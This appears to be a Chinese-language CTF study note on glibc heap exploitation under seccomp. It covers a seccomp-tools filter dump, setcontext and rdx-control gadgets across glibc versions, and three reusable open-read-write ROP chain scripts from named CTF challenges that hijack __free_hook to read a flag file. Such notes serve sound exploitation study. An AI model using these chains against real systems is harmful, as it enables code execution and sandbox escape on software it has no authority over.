1.seccomp保护:
(1)工具安装:
1 2 3 4
| #注释头
sudo apt install gcc ruby-dev gem install seccomp-tools
|
(2)查看保护:
seccomp-tools dump ./pwn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #注释头
root@241adce81c0a:/ctf/CISCN/silverwolf# seccomp-tools dump ./silverwolf line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009 0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008 0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008 0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0009: 0x06 0x00 0x00 0x00000000 return KILL
|
(3)解析:
如上,如果架构不为ARCH_X86_64,则to 0009(kill)。系统调用号A为read,write,则to 0008,即ALLOW。同理看懂if语句就行,这里只能用read和write,照理说open也可以,但是这里好像不太行。
2.setcontext不同版本:
(1)2.29以前:劫持 free_hook 或者 malloc_hook写入 setcontext函数中的 gadget( setcontext+53),通过 rdi索引,来设置相关寄存器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #注释头
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0] <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80] <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78] <setcontext+71>: mov r12,QWORD PTR [rdi+0x48] <setcontext+75>: mov r13,QWORD PTR [rdi+0x50] <setcontext+79>: mov r14,QWORD PTR [rdi+0x58] <setcontext+83>: mov r15,QWORD PTR [rdi+0x60] <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8] <setcontext+94>: push rcx <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70] <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88] <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98] <setcontext+113>: mov r8,QWORD PTR [rdi+0x28] <setcontext+117>: mov r9,QWORD PTR [rdi+0x30] <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] <setcontext+125>: xor eax,eax <setcontext+127>: ret
|
并执行提前布置好的 ORW ROP chains。
△如果是free_hook则将对应要释放的堆块的内容改为ORW ROP chains即可。如果是malloc_hook,不太知道,应该也是在对应堆块改ORW ROP chains,但是需要这个堆块确实是这一次malloc出来的堆块吧。
(2)2.29后 setcontext中的gadget变成了以 rdx索引,因此如果我们按照之前思路的话,需要通过 ROP控制 RDX的值,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #注释头
.text:00000000000580DD mov rsp, [rdx+0A0h] .text:00000000000580E4 mov rbx, [rdx+80h] .text:00000000000580EB mov rbp, [rdx+78h] .text:00000000000580EF mov r12, [rdx+48h] .text:00000000000580F3 mov r13, [rdx+50h] .text:00000000000580F7 mov r14, [rdx+58h] .text:00000000000580FB mov r15, [rdx+60h] .text:00000000000580FF test dword ptr fs:48h, 2 .... .text:00000000000581C6 mov rcx, [rdx+0A8h] .text:00000000000581CD push rcx .text:00000000000581CE mov rsi, [rdx+70h] .text:00000000000581D2 mov rdi, [rdx+68h] .text:00000000000581D6 mov rcx, [rdx+98h] .text:00000000000581DD mov r8, [rdx+28h] .text:00000000000581E1 mov r9, [rdx+30h] .text:00000000000581E5 mov rdx, [rdx+88h] .text:00000000000581EC xor eax, eax .text:00000000000581EE retn
|
这里好像赋值的索引好像有点变化,所以可能实际做题的时候需要变一下脚本。同时setcontext+53变成了setcontext+61然后由于rdx的gadget可能不是太好找,所以一般有以下几个好用的gadget:
①getkeyserv_handle+576:
1 2 3 4 5
| #注释头
mov rdx, [rdi+8] mov [rsp+0C8h+var_C8], rax call qword ptr [rdx+20h]
|
通过rdi控制rdx,同样2.29以后不同版本都不太一样,需要再调试看看,比如2.31里就是:
1 2 3 4 5
| #注释头
mov rdx,QWORD PTR [rdi+0x8] mov QWORD PTR [rsp],rax call QWORD PTR [rdx+0x20]
|
②svcudp_reply+26:
1 2 3 4 5 6 7 8
| #注释头
mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28];
|
通过rdi控制rbp实现栈迁移,然后即可任意gadget了。
其中2.31版本下还是一样的,如下:
1 2 3 4 5 6 7 8
| #注释头
mov rbp,QWORD PTR [rdi+0x48] mov rax,QWORD PTR [rbp+0x18] lea r13,[rbp+0x10] mov DWORD PTR [rbp+0x10],0x0 mov rdi,r13 call QWORD PTR [rax+0x28]
|
③万能gadget,不知道为什么https://www.anquanke.com/post/id/236832#h3-10这篇文章没有提及到万能gadget,不过我觉得应该也能用,不过使用万能gadget的话一般还需要配合栈迁移才行。
④通过environ泄露栈地址,并在栈上构造orw rop链。(libc的bss偏移,然后io_file)
3.常用orw chains脚本:
(1)利用open、write、read:
CISCN-2021 silverwolf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| #注释头
#直接改__free_hook为setcontext+53 #2.28 and down
chunk_addr = heap_addr +0x2e0 fake_rsp = chunk_addr + 0xb0 + 0x10 flag = chunk_addr + 0xb0
orw = "a"*0xa0
orw += p64(fake_rsp)+p64(ret) orw += './flag\x00\x00' orw += p64(0) orw += p64(pop_rdi_ret) + p64(flag) orw += p64(pop_rsi_ret) + p64(0) orw += p64(pop_rax_ret) + p64(2) orw += p64(syscall_ret) orw += p64(pop_rdi_ret) + p64(3) orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200) orw += p64(pop_rdx_ret) + p64(0x30) orw += p64(libc_base+libc.sym['read']) orw += p64(pop_rdi_ret) + p64(1) orw += p64(libc_base+libc.sym['write'])
|
2019-BALSN-CTF-plaintext
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #注释头
#2.29,需要将__free_hook设置为指定gadget,这里为__libc_cleanup_routine+7 mov rdx, qword ptr [rdi + 8] mov rax, qword ptr [rdi] mov rdi, rdx jmp rax #不同gadget脚本需要微调,只要满足赋值rdi并且之后跳转到setcontext即可 #需要从"a"*0xa0中拿出0x10的空间用来设置setcontext,然后将rdx赋值为对应chunk地址
chunk_addr = heap_addr +0x30a0 fake_rsp = chunk_addr + 0xb0 + 0x10 flag = chunk_addr + 0xb0
#这里setcontext+0x1d或53都可以,具体调试分析,但是61不行 #即chunk_addr+0x8赋值为chunk_addr,chunk_addr赋值为setcontext+0x1d orw = p64(libc_addr + libc.symbols['setcontext'] + 0x1d) + p64(chunk_addr) orw += "a"*0x90
orw += p64(fake_rsp) + p64(ret) orw += './flag\x00\x00' orw += p64(0) orw += p64(pop_rdi_ret) + p64(flag) orw += p64(pop_rsi_ret) + p64(0) orw += p64(pop_rax_ret) + p64(2) orw += p64(syscall_ret) orw += p64(pop_rdi_ret) + p64(3) orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200) orw += p64(pop_rdx_ret) + p64(0x30) orw += p64(libc_base+libc.sym['read']) orw += p64(pop_rdi_ret) + p64(1) orw += p64(libc_base+libc.sym['write'])
|
YCB easy_heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #注释头 #2.31 #这里同样将free_hook设置为gadget,用到的是getkeyserv_handle+576: mov rdx, [rdi+8] mov [rsp+0C8h+var_C8], rax call qword ptr [rdx+20h]
#chunk_addr+8赋值为chunk_addr,chunk_addr+0x20赋值为setcontext+61 chunk_addr = heap_addr +0x20 fake_rsp = chunk_addr + 0xb0 + 0x10 flag = chunk_addr + 0xb0
orw = "a"*0x08 + p64(chunk_addr) orw += "a"*0x10 orw += p64(libc_addr + libc.sym['setcontext'] + 61) + "a"*0x8 orw += "a"*0x70
orw += p64(fake_rsp) + p64(ret) orw += './flag\x00\x00' orw += p64(0) orw += p64(pop_rdi_ret) + p64(flag) orw += p64(pop_rsi_ret) + p64(0) orw += p64(pop_rax_ret) + p64(2) orw += p64(syscall_ret) orw += p64(pop_rdi_ret) + p64(3) orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200) orw += p64(pop_rdx_ret) + p64(0x30) orw += p64(libc_base+libc.sym['read']) orw += p64(pop_rdi_ret) + p64(1) orw += p64(libc_base+libc.sym['write'])
|
▲同样可以用frame结构体来调用函数。